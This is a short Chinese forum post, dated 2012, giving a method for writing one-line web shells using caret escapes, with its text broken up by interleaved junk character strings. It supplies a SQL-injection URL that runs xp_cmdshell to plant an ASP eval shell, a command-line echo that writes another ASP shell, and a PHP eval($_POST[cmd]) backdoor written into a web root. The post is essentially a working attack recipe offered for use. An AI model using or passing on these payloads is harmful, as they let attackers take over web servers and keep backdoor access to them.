用^转义字符来写ASP(一句话木马)文件的方法:4 P8 `6 y2 e& k9 D' j
# ]7 ^. p& r$ n9 `8 v$ U8 X- I
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
: ]2 K5 X" v* @5 D! M @( x
# q- p% E2 }" }% ^/ e' E! |2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp* T% l+ q3 h- }& k1 Y4 e+ F
/ x3 Q/ q4 f+ G( G# {" z2 a
6 v/ K* |8 E9 RPHP5 d3 y g9 S- y7 T5 i6 N; j
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对